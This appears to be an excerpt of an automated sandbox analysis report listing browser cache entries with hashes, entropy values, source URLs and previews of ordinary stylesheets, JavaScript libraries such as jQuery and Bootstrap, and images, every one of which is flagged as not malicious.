Preview:	@font-face{font-family:"Segoe UI Bold";font-display:swap;font-weight:700;src:local("Segoe UI Bold"),url(segoe-ui/west-european/bold/latest.woff2) format("woff2"),url(segoe-ui/west-european/bold/latest.woff) format("woff")}@font-face{font-family:"Segoe UI Light";font-display:swap;font-weight:100;src:local("Segoe UI Light"),url(segoe-ui/west-european/light/latest.woff2) format("woff2"),url(segoe-ui/west-european/light/latest.woff) format("woff")}@font-face{font-family:"Segoe UI Semibold";font-display:swap;font-weight:600;src:local("Segoe UI Semibold"),url(segoe-ui/west-european/semibold/latest.woff2) format("woff2"),url(segoe-ui/west-european/semibold/latest.woff) format("woff")}@font-face{font-family:"Segoe UI Semilight";font-display:swap;font-weight:200;src:local("Segoe UI Semilight"),url(segoe-ui/west-european/semilight/latest.woff2) format("woff2"),url(segoe-ui/west-european/semilight/latest.woff) format("woff")}@font-face{font-family:"Segoe UI";font-display:swap;font-weight:400;src:

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4370), with no line terminators
Category:	downloaded
Size (bytes):	4370
Entropy (8bit):	5.070419363669657
Encrypted:	false
SSDEEP:	96:yUD4Nf5fpk+9/FPV/A/xtrmAxdAe8RiM1MTMNOMx7UIF/A1ERu84jC7UO7Flt8zx:b4TJ96rrmAxdAe8RiM1MTMNOMx7UIF/o
MD5:	5F05B23BAD0F2D477C4E6B9266F99A74
SHA1:	E6CC0BE0A86B8330B4FD16CE8EB27614FB313B40
SHA-256:	70099F944DDCE86C3B9E24CE88C3C489EF4C63CEF20C4DA64A5DC33BBFE36512
SHA-512:	664E997252C7A41F8D4E7A3FD34592D25809AFCD4EF9FB7A2542F9A3C05FC8F841D5F7E58DBF0A6F00C255F43C6A36D6597DDF5C7A0FFC049994002CC851ECB8
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/promotionbanner/promotion-banner.css?v=cAmflE3c6Gw7niTOiMPEie9MY87yDE2mSl3DO7_jZRI
Preview:	/! Copyright (C) Microsoft. All rights reserved. /.uhfupgradeBanner{display:block;max-height:110px;border-bottom:.5px solid #aeaeae;box-shadow:0 1px 5px 3px #ccc;margin-bottom:10px}.uhfupgradeBanner .uhfbanner-container{max-width:1640px;max-height:inherit;display:block;position:relative;width:92%;margin-left:auto;margin-right:auto;padding-left:1vw;padding-right:1vw}.uhfupgradeBanner .uhfbanner-container .uhfbanner-wrapper{display:flex;flex-wrap:wrap;max-height:inherit}.uhfupgradeBanner .uhfbanner-container .uhfbanner-wrapper .uhfbanner-content{width:75%;align-items:stretch;float:left;position:relative;padding-top:1.5em;padding-bottom:1.5em;max-height:inherit}.uhfupgradeBanner .uhfbanner-container .uhfbanner-wrapper .uhfbanner-controls-wrapper{align-items:stretch;float:left;position:relative;padding-top:1.1vw;padding-bottom:1vw;width:24%}.uhfupgradeBanner .uhfbanner-controls{float:right}.uhfupgradeBanner .promoHeading{font-weight:600;font-size:20px;margin:0;position:relative;font-fami

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2974), with no line terminators
Category:	downloaded
Size (bytes):	2974
Entropy (8bit):	5.078147905018725
Encrypted:	false
SSDEEP:	24:5hpNPWqBPWsQxmpqrqysQxmpqAYP6PAQxmpqIQxmpqNs7QRlDAALAGaCqDY7KXKe:572MYXsVGQyfZ
MD5:	8C4035FBAA828A7E23B8584328FE8F88
SHA1:	F222869596F1E3E94C131DE6E85BF233ED1EC511
SHA-256:	0F4950468225BC51D24014536FE8004392A415EF01F0DB92A258818E74F9C59E
SHA-512:	74D807189427397E2C8FC35D986616C1104E9125B39F885F61D9A1AA225D566AB3474061B39C64FF69886E5AEA8D6B4C9F28B4DCC9CB6F552D90DB0C651582DB
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/sitewide/articleCss-overwrite.css?v=D0lQRoIlvFHSQBRTb-gAQ5KkFe8B8NuSoliBjnT5xZ4
Preview:	div.shimmer-effect{display:flex;width:100%;height:300px}.shimmer-line-container{display:flex;flex-direction:column;width:100%;height:100%}.shimmer-line{background-color:#edebe9;position:relative}.banded-wrapper-reversed:nth-child(odd) .shimmer-line{background-color:#d7d4d2;position:relative}.banded-wrapper-reversed:nth-child(odd) .shimmer-line::before{content:"";width:50%;height:100%;position:absolute;top:0;left:0;background:linear-gradient(to right, #d7d4d2 0%, #b9b9b9 50%, #d7d4d2 100%);animation:shimmer 2s ease-out infinite}.banded-wrapper:nth-child(even) .shimmer-line{background-color:#d7d4d2;position:relative}.banded-wrapper:nth-child(even) .shimmer-line::before{content:"";width:50%;height:100%;position:absolute;top:0;left:0;background:linear-gradient(to right, #d7d4d2 0%, #b9b9b9 50%, #d7d4d2 100%);animation:shimmer 2s ease-out infinite}.shimmer-image-container{position:absolute;right:0;width:50%;top:5%}.banded-wrapper-reversed:nth-child(odd) .shimmer-image{position:relative;heig

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17287), with no line terminators
Category:	downloaded
Size (bytes):	17287
Entropy (8bit):	5.462725306783576
Encrypted:	false
SSDEEP:	384:omxPfBpi9L/a4MQOxRsWWFPnq7usVYwQJXeBNZEWWg:omxe9ppFPq7uFwQJXeBfJl
MD5:	61ED0E072617B75F022D6CB53EA85DE1
SHA1:	027EB2B0F2A8BD9AD6BB5DA7D9F930C7DD8C9DF2
SHA-256:	24880FC6AA75969EABF4ABC448918057EA5331426BFEC56ED8E468647C928591
SHA-512:	269B93EA5906A33D584F9A5BF20EE44461D5488494CE2E1717A70F3E998BED8A4210A7BDC2D10937FEC3D6D9727033BF8E2DD80B69DA99D3A97269AE35CC94D4
Malicious:	false
Reputation:	low
URL:	https://logincdn.msftauth.net/16.000/content/js/MeControl_Ye0OByYXt18CLWy1Pqhd4Q2.js
Preview:	function _hX(a){return a?true:a==0\|\|a==false\|\|a==""}function _Du(a,b){return _hX(a)?a:b}function _J(a){return a instanceof Array}function _BD(a){return "function"._f0(typeof a,true)}function _F(a){return typeof a=="string"}function _BE(a){return _hX(a)&&_F(a)&&a!=""}function strOrDefault(a,b){return _BE(a)?a:b}function _A3(a){if(!_F(a))return "";if(a.lastIndexOf(".")<0)return "";return a.toLowerCase().substr(a.lastIndexOf(".")+1,a.length)}function _A2(a){return document.getElementById(a)}var $J={_cV:false,_b:function(c,a){var d=null;if("img"._f0(c)&&_hX(a)){var g=_A3(a.src);if("png"._f0(g,true)&&!$F._lM())c="span"}var b=d;if("input"._f0(c,true)&&_hX(a)&&(a.name\|\|a.type)){if(!$aE._j._f0(a.type)){var f=document.createElement("div");f.innerHTML='<input type="'+(a.type?a.type:"")+'" name="'+(a.name?a.name:"")+'" />';b=f.firstChild}else try{var e="<"+c;if(a.type)e+=' type="'+a.type+'"';if(a.name)e+=' name="'+a.name+'"';e+=">";b=document.createElement(e)}catch(h){b=d}if(_hX(b)){a.type=d;a.na

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3840 x 2158, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1294919
Entropy (8bit):	7.99572137698945
Encrypted:	true
SSDEEP:	24576:cdItvCo7fHceODSQoMo40ijTJhhwIigxdjhINHM74D0gzsFWNvyUII:cdQCo7fHwS1MkiPhwgxdNINH50gzsgdh
MD5:	E812C68FA007098DED6DD384B2C22FD7
SHA1:	C25647DEF1A2BC089043A1D4EBA8B524F9D7EDFB
SHA-256:	24C68A968E99D841F446D6953D3EB15109B286DE77FBBAF60A0577375D0D9A16
SHA-512:	032A72D5061274B214FD85EBA7ABE89203FC024BAA1C09C52CD9E91EF4D615192777774ACAE159E1EA0EA658F22CBF684572F90C3B2ED40F2C4F7179BC359C9D
Malicious:	false
Reputation:	low
URL:	https://l9sa.github.io/assets/img/background.png
Preview:	.PNG........IHDR.......n......b.....NzTXtRaw profile type exif..x.W[.$'....>....qxF..>.S...k{7.]1U..@.).&..<...Hk.Y..VJ./........)f..~.~........g....'u.....4..>=..D...>..l...I...)?..}..i...x&..@w...o......C.KK.Pb.R..^.....S.)U..gO9...z&.!_.}......{+\|g_../.s.F.o\..#4~.A........#..A.5.$....}..\.hy"..~1d..(O.Y.U.'hW....=NH....F.UN.L.:....4.b....'d1.B.......E.kjiAAN.wH.f~.B.n..&)V^..L....?^..:....L...LHOW`.......1...+]..~]...S`!T..8...=.;......:'..<o.Q....am.3..@,.....\...B...9e.P.Dx.I.)....mm\|S..pa3.6A.I%Uh.R.X9..fE.uI.E.H....Tr.RJ-V.zM5W.....I......7n.5PZi.ik.w...u..1..2x....2...F......2...f_..B.Xe....)lT.......v?...N>r.GO;......o.F.j.J..V..P.k..r"....LP....h6.R.l.f.1.B.N.i...b.0ob9...C._.-...n._.....P.@..u..j.....,4NcB....q..rz.2W.x.^..[M........<....\..j.h.......x....a}..\..:7....R.B.....4. [.{.abpdfTPx...K.n..P......mQl.i..@-....%.,..F.</./+".;......rL......L #.E7j.-,..#.X....s,.......c..<@...@=....e.L...Kn...@..af..0....f.A!s=.*.Jo..4.%..,..^xR..

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	6
Entropy (8bit):	2.584962500721156
Encrypted:	false
SSDEEP:	3:fCu:au
MD5:	AAAB7A355103063D9EEB4824A3A6B374
SHA1:	E51555F02C32321F3E48F07A0FA5AF46DF835BFC
SHA-256:	79BA862622D6FA84AC7E4F98EB95043A255FC2C81711E9400A8AA4D4B1608471
SHA-512:	D1A0C9C4F628459F5CA904405B2A66A69425A50E8DCE1BAA43161D784EB219BD3E1FD9447BCBACC314652EDA08CF0B02C863C87F3AC1534AE0F62A414C191F1B
Malicious:	false
Reputation:	low
Preview:	dfp:OK

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20946
Entropy (8bit):	7.93232536946356
Encrypted:	false
SSDEEP:	384:ecpgK1ekapmcRcYDw6SaYAwQTniYPMalqQm6vkoP9njpqNT:eKjUkapAsw6C9ePM2qQm6vkoFnwT
MD5:	68B6034D22E6083CF2592BF4B8B71F0E
SHA1:	0981B22AF5F2BF930794557717FF7C7F4FF563FF
SHA-256:	56E5D47C342207184BE9DE6E3CF06CF26C32B34EE799B3ACC95EBEEEEFA5484A
SHA-512:	3CDA6510769E8EE427103B1D76A0035E2A3E62C4EF0E789DBC28969B12F2DF2C1F7E7652FDF9CC99C7C086CF2764A19520D15A5FED86ECC5CAB9D9F77D534E93
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...QgIDATx....nEy....j.%bU.X..n^......Im..M."Z...+hU...m.e.....A.FQ.m......D....ELTD...Uo}...>.\|3....v....y..gf.:.?.yf..n.m..a........+.~..J u..}.k.........:;v.P......qM.c;.1.S..j..@v....O...c.@.....5Z.P.E{...P.(.......PvvQ..... .IGj...U.:}.#..Xghj.C.MQ...Kua...)G,4]..?.........#.......w.Ti'.Vy....S....%._).'...J...%.u\.R.Oo.R,p......"Y....N:V.P.R.W......O..Pk...n......Z.....).....HVc.Z.M....H....X......5....$....p......".>...<U...Sc.\|.K...Q.NR...k...k...F...).....H...=.....+.zj(....]/5.\.........).....H...\.@.;.\|.......I.&5.'.(6.cTz^.....c.r...r....k.)s.b..<.#......I.1R....k..6........R.d....r.]...NT].H.....D.#%.N..X.......7.t,..z.;cS.p].f....E-...6.#......IuG...p..c[.g.`..v..R1V...J.9.J... ..HqIw.NS..........3.G..pI.+p.....#.N.......Gp....).....Hf.H..1.#.4..2r.f....t..;.Z.7W........".=1d...^.....M ..I..T...../.t.T................_JLz)......{..hFJ...E..t9.).WaXj&

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://l9sa.github.io/assets/img/microsoft_logo.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (12305), with no line terminators
Category:	downloaded
Size (bytes):	12312
Entropy (8bit):	5.15394635345747
Encrypted:	false
SSDEEP:	384:OlsyP5LkniqF9fFmV3wdVowDj7MVCLRKewLb6aZXUX8X2bkm7m+Tf1vUKXDX8KXy:CEAn7tbnanKbjeEDz
MD5:	5C417FB0C43BB893879AD3B519A46F9F
SHA1:	C1A9254458695F9397112101505C46195B95C295
SHA-256:	4FD79286FA2135636879A444385A83B5F2440033096D86E6100099767D7BB4C1
SHA-512:	7077E5B00F504864767EFC74ED61009497B251D6FEBD3554CACCA841D772967834822091C2576ABA1DD338BA2EB0E75573FB4B49F785DA35282094D35A74EB8A
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/Article/multimedia-left-nav.css?v=T9eShvohNWNoeaREOFqDtfJEADMJbYbmEACZdn17tME
Preview:	.html[dir=rtl] #supMultimediaLeftNav{float:right;padding-left:10px;padding-right:0}html[dir=rtl] [class*=supMultimediaLeftNavIcon--]:before,html[dir=rtl] [class^=supMultimediaLeftNavIcon--]:before{-webkit-transform:scaleX(-1);-moz-transform:scaleX(-1);-ms-transform:scaleX(-1);-o-transform:scaleX(-1);transform:scaleX(-1)}html[dir=rtl] .supMultimediaLeftNavArticles{padding-left:10px;padding-right:0}#supMultimediaLeftNav{font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif;font-size:1.4em;padding-right:10px;padding-top:0}#supMultimediaLeftNav ::-webkit-scrollbar{width:9px}#supMultimediaLeftNav ::-webkit-scrollbar-thumb{background:#c1c1c1}#supMultimediaLeftNav ::-webkit-scrollbar-thumb:hover{background:#a8a8a8}#supMultimediaLeftNav ::-webkit-scrollbar-thumb:active{background:#787878}#supMultimediaLeftNav ::-webkit-scrollbar-track,#supMultimediaLeftNav ::-webkit-scrollbar-track:hover,#supMultimediaLeftNav ::-webkit-scrollba

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	631
Entropy (8bit):	6.391875872958697
Encrypted:	false
SSDEEP:	12:6v/7s6UVprYe6IZeuLgou+/CAztgbbvCR00aJzS4VQIjXuYEMwoQIjXuHBOLPMdo:hX7rRkf+/rMcCJzAIjNEMwNIj8Efl9
MD5:	FB2ED9313C602F40B7A2762ACC15FF89
SHA1:	8A390D07A8401D40CBC1A16D873911FA4CB463F5
SHA-256:	B241D02FAB4B17291AF37993EB249F9303EB5897610ABAFAC4C9F6AA6A878369
SHA-512:	9CBCF5C7B8409494F6D543434ECAFF42DE8A2D0632A17931062D7D1CC130D43E61162EEDB0965B545E65E0687DED4D4B51E29631568AF34B157A7D02A3852508
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/favicon-32x32.png
Preview:	.PNG........IHDR... ... .....D.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<...{PLTE.P".J$x......P".P".J$x.........K..K..K..D.o..w..w..w.........................................................P"...................$tRNS.DD...CC..DEC..CEDDEC..CED...CC...DD.c,8....bKGD(........pHYs...........~.....tIME....."4...4...QIDAT8...G.. ...Q..s....?......s.f..a`.A... .bA!..,/dYQ.....a.((j^.m?4..Q.?.....2>.........%tEXtdate:create.2020-05-28T22:34:52+02:00.t.....%tEXtdate:modify.2020-05-28T22:34:52+02:00.)<'...WzTXtRaw profile type iptc..x.....qV((.O..I.R..#..c..#.K.... D.4.d.#.T ...........H.J.....t.B5.....IEND.B`.

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65394)
Category:	downloaded
Size (bytes):	91802
Entropy (8bit):	5.3603423050848615
Encrypted:	false
SSDEEP:	1536:C4F18VDgLMcb+0XbPN1xlJGFqCN3tcULcUoHfe:C4F18VDgLN9LN1mTn
MD5:	CF5CC7F4B57526CC37893DCB83DED031
SHA1:	E953783BE0A7894585778455AAE3D0DF094D6F29
SHA-256:	3A790B6C0D26D7A4D292CB27F992EAFAFF42C37E9318B2AB704207039127FCB8
SHA-512:	2320F9D7811CD773C1E5C2E95A31B39E9FF62A2FA7CA431975873DAB57AE42A75BA720D15AEB47FA2EA127D0766EB5AA15040CFFD04BF7A8CB8BCD7236069C40
Malicious:	false
Reputation:	low
URL:	https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js
Preview:	/!. 1DS JS SDK Shared Analytics, 3.2.18. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeControl3",s=(s=e)[c]=s[c]\|\|{},l=(l=e)[c="oneDsMeControl"]=l[c]\|\|{},e=s[i]=s[i]\|\|{},f=e.v=e.v\|\|[],c=l[i]=l[i]\|\|{},d=c.v=c.v\|\|[];for(t in(c.o=c.o\|\|[]).push(o),n(r),r)s[t]=r[t],f[t]=u,l[t]=r[t],d[t]=u,(a.n=a.n\|\|[]).push(t)}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var y="function",m="object",se="undefined",C="prototype",I="hasOwnProperty",b=Object,S=b[C],x=b.assign,w=b.create,n=b.defineProperty,_=S[I],T=null;function O(e){e=!1===(e=void 0===e\|\|e)?null:T;return e\|\|((e=(e=(e=typeof globalThis!==se?globalThis:e)\|\|typeof self===se?e:self)\|\|typeof window===se?e:window)\|\|typeof global===se\|\|(e=global),T=e),e

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65297)
Category:	dropped
Size (bytes):	81084
Entropy (8bit):	5.179856316975421
Encrypted:	false
SSDEEP:	768:WVDnVrD5m8HVHZIEzSV7BTxx4mu0spQ1+jmzpvACS+eAuQnQ3O1+dCDWi6OzlTd3:WVbVXIVCHKzpyAWMkG1sn8B0upp
MD5:	7FD2F04E75BD7AB1A79D80CDD4C33085
SHA1:	E02A14457B25E6DF2568B772FEAB4387C00A4934
SHA-256:	5EDF297381B409D711BC8D27676951A59E151E783412850332519C05243D1E24
SHA-512:	3B2E41AEE25D13780FF7E2CC275D640B99C4AE4877A7863419AC13D49ADC7B3E114C3C4E0DFDCCFCA3F7A44B2078E63159E8EACB648F9E3F9032982DBE10DC89
Malicious:	false
Reputation:	low
Preview:	/!. Bootstrap v4.5.0 (https://getbootstrap.com/). * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],e):e((t=t\|\|self).bootstrap={},t.jQuery)}(this,(function(t,e){"use strict";function n(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function i(t,e,i){return e&&n(t.prototype,e),i&&n(t,i),t}function o(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function r(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(t);e&&(i=i.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).e

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Reputation:	low
URL:	https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2674)
Category:	dropped
Size (bytes):	2728
Entropy (8bit):	5.253272384445131
Encrypted:	false
SSDEEP:	48:M1wQmQqQNrfAI4dz2eLNBxROk2oDZ8nVlnQiOk50NQclnmlnmZ5flnqlnuln5jBN:emQjNj4t2eLNgsdiQj+RacmVYU57vzKO
MD5:	468D4ACC570CFFC7101AC8A63514AD31
SHA1:	6983E89B6EC798B5B8C2B3B76D9311808437B572
SHA-256:	B4B342F2025799CA602A75590B324E7493B0903726720BCE4CA793207C83255C
SHA-512:	9042A219E8511FF281B9F680B3577CE3EAE29E881F24BE1D2B46C89D1F0013E30AA890C1A0181FF83975E125F62C0C6E896D3B8515067221143D9A3290B42865
Malicious:	false
Reputation:	low
